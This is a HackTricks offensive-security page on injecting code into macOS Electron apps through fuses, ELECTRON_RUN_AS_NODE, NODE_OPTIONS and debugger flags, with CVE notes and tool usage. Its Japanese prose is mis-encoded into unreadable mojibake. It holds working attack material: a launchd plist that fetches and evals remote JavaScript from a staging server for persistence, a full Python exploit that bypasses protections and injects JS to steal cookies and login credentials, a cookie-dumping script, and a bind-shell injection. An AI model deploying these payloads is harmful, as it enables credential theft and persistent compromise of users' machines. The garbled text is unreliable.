macOS Electron Applications Injection
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
åºæ¬æ å ±
Electronãäœãç¥ããªãå Žåã¯ããã¡ãã«ããããã®æ
å ±ããããŸããããããä»ã¯Electronãnodeãå®è¡ããããšã ããç¥ã£ãŠãããŠãã ããã
ãããŠnodeã«ã¯ãæå®ããããã¡ã€ã«ä»¥å€ã®ã³ãŒããå®è¡ãããããã«äœ¿çšã§ããããã€ãã®ãã©ã¡ãŒã¿ãšç°å¢å€æ°ããããŸãã
Electron Fuses
ãããã®æè¡ã«ã€ããŠã¯æ¬¡ã«èª¬æããŸãããæè¿Electronã¯ããããé²ãããã«ããã€ãã®ã»ãã¥ãªãã£ãã©ã°ã远å ããŸãããããããElectron Fusesã§ãããmacOSã®Electronã¢ããªãä»»æã®ã³ãŒããèªã¿èŸŒãã®ãé²ãããã«äœ¿çšããããã®ã§ãïŒ
RunAsNode: ç¡å¹ã«ãããšãã³ãŒããæ³šå ¥ããããã®ç°å¢å€æ°**ELECTRON_RUN_AS_NODE**ã®äœ¿çšã鲿¢ãããŸããEnableNodeCliInspectArguments: ç¡å¹ã«ãããšã--inspectã--inspect-brkã®ãããªãã©ã¡ãŒã¿ãå°éãããŸããããã®æ¹æ³ã§ã³ãŒããæ³šå ¥ããã®ãé¿ããŸããEnableEmbeddedAsarIntegrityValidation: æå¹ã«ãããšãèªã¿èŸŒãŸãã**asar** ãã¡ã€ã«ãmacOSã«ãã£ãŠæ€èšŒãããŸãããã®æ¹æ³ã§ãã®ãã¡ã€ã«ã®å 容ã倿Žããããšã«ããã³ãŒãæ³šå ¥ãé²ããŸããOnlyLoadAppFromAsar: ãããæå¹ã«ãªã£ãŠããå Žåãæ¬¡ã®é åºã§èªã¿èŸŒãã®ã§ã¯ãªãïŒapp.asarãappããããŠæåŸã«**default_app.asarãapp.asarã®ã¿ããã§ãã¯ããŠäœ¿çšãããããembeddedAsarIntegrityValidationãã¥ãŒãºãšçµã¿åãããããšã§æ€èšŒãããŠããªãã³ãŒããèªã¿èŸŒãããšãäžå¯èœ**ã«ãªããŸããLoadBrowserProcessSpecificV8Snapshot: æå¹ã«ãããšããã©ãŠã¶ããã»ã¹ã¯browser_v8_context_snapshot.binãšãããã¡ã€ã«ãV8ã¹ãããã·ã§ããã«äœ¿çšããŸãã
ã³ãŒãæ³šå ¥ãé²ããªãããäžã€ã®è峿·±ããã¥ãŒãºã¯ïŒ
- EnableCookieEncryption: æå¹ã«ãããšããã£ã¹ã¯äžã®ã¯ãããŒã¹ãã¢ã¯OSã¬ãã«ã®æå·åããŒã䜿çšããŠæå·åãããŸãã
Electron Fusesã®ç¢ºèª
ã¢ããªã±ãŒã·ã§ã³ãããããã®ãã©ã°ã確èªããããšãã§ããŸãïŒ
npx @electron/fuses read --app /Applications/Slack.app
Analyzing app: Slack.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled
Electron Fuseã®å€æŽ
ããã¥ã¡ã³ãã«èšèŒãããŠããããã«ãElectron Fuseã®èšå®ã¯ãElectronãã€ããªå
ã«ãããã©ããã«æåå**dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX**ãå«ãŸããŠããŸãã
macOSã¢ããªã±ãŒã·ã§ã³ã§ã¯ãéåžžãapplication.app/Contents/Frameworks/Electron Framework.framework/Electron Frameworkã«ãããŸãã
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
ãã®ãã¡ã€ã«ãhttps://hexed.it/ã«ããŒãããåã®æååãæ€çŽ¢ã§ããŸãããã®æååã®åŸã«ãåãã¥ãŒãºãç¡å¹ãŸãã¯æå¹ã§ããããšã瀺ãASCIIã®æ°åã0ããŸãã¯ã1ãã衚瀺ãããŸãããã¥ãŒãºã®å€ã倿Žããã«ã¯ã16鲿°ã³ãŒãïŒ0x30ã¯0ã0x31ã¯1ïŒã倿ŽããŠãã ããã
.png)
Electron Frameworkãã€ããªããããã®ãã€ãã倿ŽããŠã¢ããªã±ãŒã·ã§ã³å
ã«äžæžãããããšãããšãã¢ããªã¯å®è¡ãããªãããšã«æ³šæããŠãã ããã
Electronã¢ããªã±ãŒã·ã§ã³ãžã®RCEã³ãŒã远å
Electronã¢ããªã䜿çšããŠããå€éšJS/HTMLãã¡ã€ã«ãããå¯èœæ§ããããããæ»æè ã¯ãããã®ãã¡ã€ã«ã«ã³ãŒããæ³šå ¥ãããã®çœ²åããã§ãã¯ãããã«ã¢ããªã®ã³ã³ããã¹ãã§ä»»æã®ã³ãŒããå®è¡ã§ããŸãã
Caution
ãã ããçŸæç¹ã§ã¯2ã€ã®å¶éããããŸãïŒ
- ã¢ããªã倿Žããã«ã¯**
kTCCServiceSystemPolicyAppBundlesæš©éãå¿ èŠ**ã§ãããããã©ã«ãã§ã¯ããããã¯ãå¯èœã§ã¯ãããŸããã- ã³ã³ãã€ã«ããã**
asapãã¡ã€ã«ã¯éåžžããã¥ãŒãºembeddedAsarIntegrityValidationããã³onlyLoadAppFromAsarãæå¹**ã§ããããã«ããããã®æ»æçµè·¯ã¯ããè€éïŒãŸãã¯äžå¯èœïŒã«ãªããŸãã
kTCCServiceSystemPolicyAppBundlesã®èŠä»¶ãåé¿ããããšã¯å¯èœã§ãã¢ããªã±ãŒã·ã§ã³ãå¥ã®ãã£ã¬ã¯ããªïŒäŸãã°/tmpïŒã«ã³ããŒãããã©ã«ããŒ**app.app/Contentsã®ååãapp.app/NotConã«å€æŽããæªæã®ããã³ãŒãã§asarãã¡ã€ã«ã倿Žããåã³app.app/Contents**ã«ååãæ»ããŠå®è¡ããããšãã§ããŸãã
asarãã¡ã€ã«ããã³ãŒããå±éããã«ã¯ã次ã®ã³ãã³ãã䜿çšã§ããŸãïŒ
npx asar extract app.asar app-decomp
ãããŠã次ã®ããã«ä¿®æ£ããåŸã«åããã±ãŒãžããŠãã ããïŒ
npx asar pack app-decomp app-new.asar
RCE with ELECTRON_RUN_AS_NODE
According to the docsããã®ç°å¢å€æ°ãèšå®ãããŠããå Žåãããã»ã¹ã¯éåžžã®Node.jsããã»ã¹ãšããŠéå§ãããŸãã
# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
Caution
ãã¥ãŒãº
RunAsNodeãç¡å¹ã«ãªã£ãŠããå Žåãç°å¢å€æ°ELECTRON_RUN_AS_NODEã¯ç¡èŠããããã®æ¹æ³ã¯æ©èœããŸããã
ã¢ããªã®Plistããã®ã€ã³ãžã§ã¯ã·ã§ã³
ããã§ææ¡ãããŠããããã«ããã®ç°å¢å€æ°ãplistã§æªçšããŠæ°žç¶æ§ãç¶æããããšãã§ããŸãïŒ
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
RCE with NODE_OPTIONS
ãã€ããŒããå¥ã®ãã¡ã€ã«ã«ä¿åããå®è¡ããããšãã§ããŸã:
# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');
# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
Caution
ãã¥ãŒãº
EnableNodeOptionsEnvironmentVariableã ç¡å¹ ã®å Žåãã¢ããªã¯èµ·åæã«ç°å¢å€æ° NODE_OPTIONS ã ç¡èŠ ããŸãããã ããç°å¢å€æ°ELECTRON_RUN_AS_NODEãèšå®ãããŠããå Žåã¯ããã¥ãŒãºRunAsNodeãç¡å¹ã§ããã°ãããã ç¡èŠ ãããŸãã
ELECTRON_RUN_AS_NODEãèšå®ããªããšã次㮠ãšã©ãŒ ã衚瀺ãããŸã:Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.
ã¢ããªã®Plistããã®ã€ã³ãžã§ã¯ã·ã§ã³
ãããã®ããŒã远å ããããšã§ãplistå ã®ãã®ç°å¢å€æ°ãæªçšããŠæ°žç¶æ§ãç¶æã§ããŸã:
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
<key>NODE_OPTIONS</key>
<string>--require /tmp/payload.js</string>
</dict>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>
RCE with inspecting
According to this, Electronã¢ããªã±ãŒã·ã§ã³ã**--inspectã--inspect-brkãããã³--remote-debugging-port**ã®ãããªãã©ã°ã§å®è¡ãããšããããã°ããŒããéãããããã«æ¥ç¶ã§ããããã«ãªããŸãïŒäŸãã°ãchrome://inspectã®ChromeããïŒããã³ãŒããæ³šå
¥ããããæ°ããããã»ã¹ãèµ·åãããããããšãã§ããŸãã
äŸãã°:
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
In ãã®ããã°æçš¿ã§ã¯ããã®ãããã°ãæªçšãããŠããããã¬ã¹Chromeãä»»æã®ãã¡ã€ã«ãä»»æã®å Žæã«ããŠã³ããŒãããŸãã
Tip
ã¢ããªã
--inspectã®ãããªç°å¢å€æ°ããã©ã¡ãŒã¿ããã§ãã¯ããç¬èªã®æ¹æ³ãæã£ãŠããå Žåã--inspect-brkãšããåŒæ°ã䜿çšããŠå®è¡æã«ãã€ãã¹ã詊ã¿ãããšãã§ããŸããããã«ãããã¢ããªã®æåã§å®è¡ã忢ãããã€ãã¹ãå®è¡ããŸãïŒäŸãã°ãçŸåšã®ããã»ã¹ã®åŒæ°ãç°å¢å€æ°ãäžæžãããããšïŒã
以äžã¯ã--inspect-brkãšãããã©ã¡ãŒã¿ã§ã¢ããªãç£èŠããã³å®è¡ããããšã§ãã«ã¹ã¿ã ä¿è·ããã€ãã¹ããããšãå¯èœã ã£ããšã¯ã¹ããã€ãã§ãïŒããã»ã¹ã®ãã©ã¡ãŒã¿ãäžæžãããŠ--inspect-brkãåé€ïŒãããã®åŸãJSãã€ããŒããæ³šå
¥ããŠã¢ããªããã¯ãããŒãèªèšŒæ
å ±ããã³ãããŸããïŒ
import asyncio
import websockets
import json
import requests
import os
import psutil
from time import sleep
INSPECT_URL = None
CONT = 0
CONTEXT_ID = None
NAME = None
UNIQUE_ID = None
JS_PAYLOADS = """
var { webContents } = require('electron');
var fs = require('fs');
var wc = webContents.getAllWebContents()[0]
function writeToFile(filePath, content) {
const data = typeof content === 'string' ? content : JSON.stringify(content, null, 2);
fs.writeFile(filePath, data, (err) => {
if (err) {
console.error(`Error writing to file ${filePath}:`, err);
} else {
console.log(`File written successfully at ${filePath}`);
}
});
}
function get_cookies() {
intervalIdCookies = setInterval(() => {
console.log("Checking cookies...");
wc.session.cookies.get({})
.then((cookies) => {
tokenCookie = cookies.find(cookie => cookie.name === "token");
if (tokenCookie){
writeToFile("/tmp/cookies.txt", cookies);
clearInterval(intervalIdCookies);
wc.executeJavaScript(`alert("Cookies stolen and written to /tmp/cookies.txt")`);
}
})
}, 1000);
}
function get_creds() {
in_location = false;
intervalIdCreds = setInterval(() => {
if (wc.mainFrame.url.includes("https://www.victim.com/account/login")) {
in_location = true;
console.log("Injecting creds logger...");
wc.executeJavaScript(`
(function() {
email = document.getElementById('login_email_id');
password = document.getElementById('login_password_id');
if (password && email) {
return email.value+":"+password.value;
}
})();
`).then(result => {
writeToFile("/tmp/victim_credentials.txt", result);
})
}
else if (in_location) {
wc.executeJavaScript(`alert("Creds stolen and written to /tmp/victim_credentials.txt")`);
clearInterval(intervalIdCreds);
}
}, 10); // Check every 10ms
setTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds
}
get_cookies();
get_creds();
console.log("Payloads injected");
"""
async def get_debugger_url():
"""
Fetch the local inspector's WebSocket URL from the JSON endpoint.
Assumes there's exactly one debug target.
"""
global INSPECT_URL
url = "http://127.0.0.1:9229/json"
response = requests.get(url)
data = response.json()
if not data:
raise RuntimeError("No debug targets found on port 9229.")
# data[0] should contain an object with "webSocketDebuggerUrl"
ws_url = data[0].get("webSocketDebuggerUrl")
if not ws_url:
raise RuntimeError("webSocketDebuggerUrl not found in inspector data.")
INSPECT_URL = ws_url
async def monitor_victim():
print("Monitoring victim process...")
found = False
while not found:
sleep(1) # Check every second
for process in psutil.process_iter(attrs=['pid', 'name']):
try:
# Check if the process name contains "victim"
if process.info['name'] and 'victim' in process.info['name']:
found = True
print(f"Found victim process (PID: {process.info['pid']}). Terminating...")
os.kill(process.info['pid'], 9) # Force kill the process
except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
# Handle processes that might have terminated or are inaccessible
pass
os.system("open /Applications/victim.app --args --inspect-brk")
async def bypass_protections():
global CONTEXT_ID, NAME, UNIQUE_ID
print(f"Connecting to {INSPECT_URL} ...")
async with websockets.connect(INSPECT_URL) as ws:
data = await send_cmd(ws, "Runtime.enable", get_first=True)
CONTEXT_ID = data["params"]["context"]["id"]
NAME = data["params"]["context"]["name"]
UNIQUE_ID = data["params"]["context"]["uniqueId"]
sleep(1)
await send_cmd(ws, "Debugger.enable", {"maxScriptsCacheSize": 10000000})
await send_cmd(ws, "Profiler.enable")
await send_cmd(ws, "Debugger.setBlackboxPatterns", {"patterns": ["/node_modules/|/browser_components/"], "skipAnonnymous": False})
await send_cmd(ws, "Runtime.runIfWaitingForDebugger")
await send_cmd(ws, "Runtime.executionContextCreated", get_first=False, params={"context": {"id": CONTEXT_ID, "origin": "", "name": NAME, "uniqueId": UNIQUE_ID, "auxData": {"isDefault": True}}})
code_to_inject = """process['argv'] = ['/Applications/victim.app/Contents/MacOS/victim']"""
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression": code_to_inject, "uniqueContextId":UNIQUE_ID})
print("Injected code to bypass protections")
async def js_payloads():
global CONT, CONTEXT_ID, NAME, UNIQUE_ID
print(f"Connecting to {INSPECT_URL} ...")
async with websockets.connect(INSPECT_URL) as ws:
data = await send_cmd(ws, "Runtime.enable", get_first=True)
CONTEXT_ID = data["params"]["context"]["id"]
NAME = data["params"]["context"]["name"]
UNIQUE_ID = data["params"]["context"]["uniqueId"]
await send_cmd(ws, "Runtime.compileScript", get_first=False, params={"expression":JS_PAYLOADS,"sourceURL":"","persistScript":False,"executionContextId":1})
await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression":JS_PAYLOADS,"objectGroup":"console","includeCommandLineAPI":True,"silent":False,"returnByValue":False,"generatePreview":True,"userGesture":False,"awaitPromise":False,"replMode":True,"allowUnsafeEvalBlockedByCSP":True,"uniqueContextId":UNIQUE_ID})
async def main():
await monitor_victim()
sleep(3)
await get_debugger_url()
await bypass_protections()
sleep(7)
await js_payloads()
async def send_cmd(ws, method, get_first=False, params={}):
"""
Send a command to the inspector and read until we get a response with matching "id".
"""
global CONT
CONT += 1
# Send the command
await ws.send(json.dumps({"id": CONT, "method": method, "params": params}))
sleep(0.4)
# Read messages until we get our command result
while True:
response = await ws.recv()
data = json.loads(response)
# Print for debugging
print(f"[{method} / {CONT}] ->", data)
if get_first:
return data
# If this message is a response to our command (by matching "id"), break
if data.get("id") == CONT:
return data
# Otherwise it's an event or unrelated message; keep reading
if __name__ == "__main__":
asyncio.run(main())
Caution
ãã¥ãŒãº
EnableNodeCliInspectArgumentsãç¡å¹ã«ãªã£ãŠããå Žåãã¢ããªã¯èµ·åæã«ããŒããã©ã¡ãŒã¿ïŒ--inspectãªã©ïŒã ç¡èŠããŸãããã ããç°å¢å€æ°ELECTRON_RUN_AS_NODEãèšå®ãããŠããå Žåã¯ãããããã¥ãŒãºRunAsNodeãç¡å¹ã«ãªã£ãŠãããš ç¡èŠãããŸããããããelectron ãã©ã¡ãŒã¿
--remote-debugging-port=9229ã䜿çšããããšã§ãElectronã¢ããªããå±¥æŽïŒGETã³ãã³ãã䜿çšïŒãã¯ãããŒãçãããšãå¯èœã§ãããåã®ãã€ããŒãã¯ä»ã®ããã»ã¹ãå®è¡ããããã«ã¯æ©èœããŸããã
ãã©ã¡ãŒã¿ --remote-debugging-port=9222 ã䜿çšããããšã§ãElectronã¢ããªããå±¥æŽïŒGETã³ãã³ãã䜿çšïŒãã¯ãããŒãçãããšãå¯èœã§ãïŒã¯ãããŒã¯ãã©ãŠã¶å
ã§åŸ©å·åãããjsonãšã³ããã€ã³ããããããæäŸããŸãïŒã
ãã®æ¹æ³ã«ã€ããŠã¯ãã¡ããšãã¡ãã§åŠã¶ããšãã§ãããŸãèªåããŒã«WhiteChocolateMacademiaNutããæ¬¡ã®ãããªã·ã³ãã«ãªã¹ã¯ãªããã䜿çšã§ããŸã:
import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
Injection from the App Plist
ãã®ç°å¢å€æ°ãplistã§æªçšããŠã次ã®ããŒã远å ããããšã§æ°žç¶æ§ãç¶æã§ããŸã:
<dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>--inspect</string>
</array>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>
TCCãã€ãã¹ïŒå€ãããŒãžã§ã³ã®æªçš
Tip
macOSã®TCCããŒã¢ã³ã¯ãå®è¡ãããã¢ããªã±ãŒã·ã§ã³ã®ããŒãžã§ã³ããã§ãã¯ããŸããããããã£ãŠã以åã®æè¡ã䜿çšããŠElectronã¢ããªã±ãŒã·ã§ã³ã«ã³ãŒããæ³šå ¥ã§ããªãå ŽåãAPPã®ä»¥åã®ããŒãžã§ã³ãããŠã³ããŒãããŠãã®äžã«ã³ãŒããæ³šå ¥ããããšãã§ããŸããããããã°ãTCCã®æš©éãååŸã§ããŸãïŒTrust Cacheããããé²ããªãéãïŒã
éJSã³ãŒãã®å®è¡
åè¿°ã®æè¡ã䜿çšãããšãElectronã¢ããªã±ãŒã·ã§ã³ã®ããã»ã¹å
ã§JSã³ãŒããå®è¡ã§ããŸãããã ããåããã»ã¹ã¯èŠªã¢ããªã±ãŒã·ã§ã³ãšåããµã³ãããã¯ã¹ãããã¡ã€ã«ã®äžã§å®è¡ãããTCCã®æš©éãç¶æ¿ããŸãã
ãããã£ãŠãäŸãã°ã«ã¡ã©ããã€ã¯ãžã®ã¢ã¯ã»ã¹ãæªçšãããå Žåã¯ãããã»ã¹ããå¥ã®ãã€ããªãå®è¡ããã ãã§æžã¿ãŸãã
泚ç®ãã¹ãElectron macOSã®è匱æ§ïŒ2023-2024ïŒ
CVE-2023-44402 â ASARæŽåæ§ãã€ãã¹
Electron â€22.3.23ããã³ããŸããŸãª23-27ã®ãã¬ãªãªãŒã¹ã¯ã.app/Contents/Resourcesãã©ã«ããŒãžã®æžã蟌ã¿ã¢ã¯ã»ã¹ãæã€æ»æè
ãembeddedAsarIntegrityValidation ããã³ onlyLoadAppFromAsarã®ãã¥ãŒãºããã€ãã¹ã§ããããšãèš±å¯ããŸããããã®ãã°ã¯ãæŽåæ§ãã§ãã«ãŒã«ããããã¡ã€ã«ã¿ã€ãã®æ··ä¹±ã§ãããæ€èšŒãããã¢ãŒã«ã€ãã®ä»£ããã«**app.asarãšããååã®ãã£ã¬ã¯ããª**ãèªã¿èŸŒãŸããããšãèš±å¯ããŸããããã®ããããã®ãã£ã¬ã¯ããªå
ã«é
眮ãããJavaScriptã¯ã¢ããªãèµ·åãããšãã«å®è¡ãããŸãããããŒããã³ã°ã¬ã€ãã³ã¹ã«åŸããäž¡æ¹ã®ãã¥ãŒãºãæå¹ã«ãããã³ããŒã§ãããmacOSäžã§ã¯äŸç¶ãšããŠè匱ã§ããã
ããããé©çšãããElectronããŒãžã§ã³ïŒ22.3.24ã24.8.3ã25.8.1ã26.2.1ããã³27.0.0-alpha.7ãå€ããã«ããå®è¡ããŠããã¢ããªã±ãŒã·ã§ã³ãèŠã€ããæ»æè
ã¯ãContents/Resources/app.asarãèªåã®ãã£ã¬ã¯ããªã§äžæžãããŠãã¢ããªã±ãŒã·ã§ã³ã®TCCæš©éã§ã³ãŒããå®è¡ã§ããŸãã
2024 âRunAsNodeâ / âenableNodeCliInspectArgumentsâ CVEã¯ã©ã¹ã¿ãŒ
2024幎1æãäžé£ã®CVEïŒCVE-2024-23738ããCVE-2024-23743ïŒããæ°å€ãã®Electronã¢ããªããã¥ãŒãºRunAsNodeããã³EnableNodeCliInspectArgumentsããŸã æå¹ã«ããŠåºè·ãããŠããããšãæããã«ããŸããããããã£ãŠãããŒã«ã«æ»æè
ã¯ç°å¢å€æ°ELECTRON_RUN_AS_NODE=1ã--inspect-brkãªã©ã®ãã©ã°ã䜿çšããŠããã°ã©ã ãåèµ·åããäžè¬ç㪠Node.jsããã»ã¹ã«å€æããã¢ããªã±ãŒã·ã§ã³ã®ãµã³ãããã¯ã¹ããã³TCCæš©éããã¹ãŠç¶æ¿ã§ããŸãã
ElectronããŒã ã¯ãã¯ãªãã£ã«ã«ãè©äŸ¡ã«ç°è°ãå±ããæ»æè ããã§ã«ããŒã«ã«ã§ã³ãŒãå®è¡ãå¿ èŠãšããããšãææããŸãããããã®åé¡ã¯ãã¹ããšã¯ã¹ããã€ãäžã«äŸç¶ãšããŠäŸ¡å€ããããŸãããªããªããè匱ãªElectronãã³ãã«ãã©ã³ããªããã€ããªã«å€ããããã§ããããã«ãããäŸãã°ãé£çµ¡å ãåçããŸãã¯ãã¹ã¯ãããã¢ããªã«ä»¥åã«ä»äžãããä»ã®æ©å¯ãªãœãŒã¹ãèªã¿åãããšãã§ããŸãã
Electronã®ã¡ã³ããããã®é²åŸ¡ã¬ã€ãã³ã¹ïŒ
- æ¬çªãã«ãã§ã¯
RunAsNodeããã³EnableNodeCliInspectArgumentsã®ãã¥ãŒãºãç¡å¹ã«ããŸãã - ã¢ããªã±ãŒã·ã§ã³ãæ£åœã«ãã«ããŒNode.jsããã»ã¹ãå¿ èŠãšããå Žåã¯ããããã®ãã¥ãŒãºãå床æå¹ã«ããã®ã§ã¯ãªããæ°ããUtilityProcess APIã䜿çšããŠãã ããã
èªåæ³šå ¥
ããŒã«electroniz3rã¯ãè匱ãªElectronã¢ããªã±ãŒã·ã§ã³ãèŠã€ããŠã³ãŒããæ³šå
¥ããããã«ç°¡åã«äœ¿çšã§ããŸãããã®ããŒã«ã¯ã**--inspect**æè¡ã䜿çšããããšããŸãïŒ
èªåã§ã³ã³ãã€ã«ããå¿ èŠããããæ¬¡ã®ããã«äœ¿çšã§ããŸãïŒ
# Find electron apps
./electroniz3r list-apps
ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
â Bundle identifier â Path â
ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ
com.microsoft.VSCode /Applications/Visual Studio Code.app
org.whispersystems.signal-desktop /Applications/Signal.app
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
com.neo4j.neo4j-desktop /Applications/Neo4j Desktop.app
com.electron.dockerdesktop /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
com.github.GitHubClient /Applications/GitHub Desktop.app
com.ledger.live /Applications/Ledger Live.app
com.postmanlabs.mac /Applications/Postman.app
com.tinyspeck.slackmacgap /Applications/Slack.app
com.hnc.Discord /Applications/Discord.app
# Check if an app has vulenrable fuses vulenrable
## It will check it by launching the app with the param "--inspect" and checking if the port opens
/electroniz3r verify "/Applications/Discord.app"
/Applications/Discord.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using `kill -9 57739`
# Get a shell inside discord
## For more precompiled-scripts check the code
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell
/Applications/Discord.app started the debug WebSocket server
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`
Lokiã¯ãElectronã¢ããªã±ãŒã·ã§ã³ã®JavaScriptãã¡ã€ã«ãLokiã³ãã³ãïŒã³ã³ãããŒã«JavaScriptãã¡ã€ã«ã«çœ®ãæããããšã§ãããã¯ãã¢ãèšèšããŸããã
References
- https://www.electronjs.org/docs/latest/tutorial/fuses
- https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks
- https://github.com/electron/electron/security/advisories/GHSA-7m48-wc93-9g85
- https://www.electronjs.org/blog/statement-run-as-node-cves
- https://m.youtube.com/watch?v=VWQY5R2A6X8
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


